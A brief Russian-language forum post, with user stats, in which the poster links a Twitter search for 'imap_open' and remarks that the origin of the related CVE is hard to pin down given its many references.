                                          18 Mar 2016
                                          Messages:
                                          684
                                          Likes Received:
                                          1,519
                                          Reputations:
                                          460
                                          Кто ж теперь разберёт?
                                          https://twitter.com/search?f=tweets&vertical=default&q=imap_open&src=typd

                                          Доподлинно неизвестно, там ссылок в CVE куча :)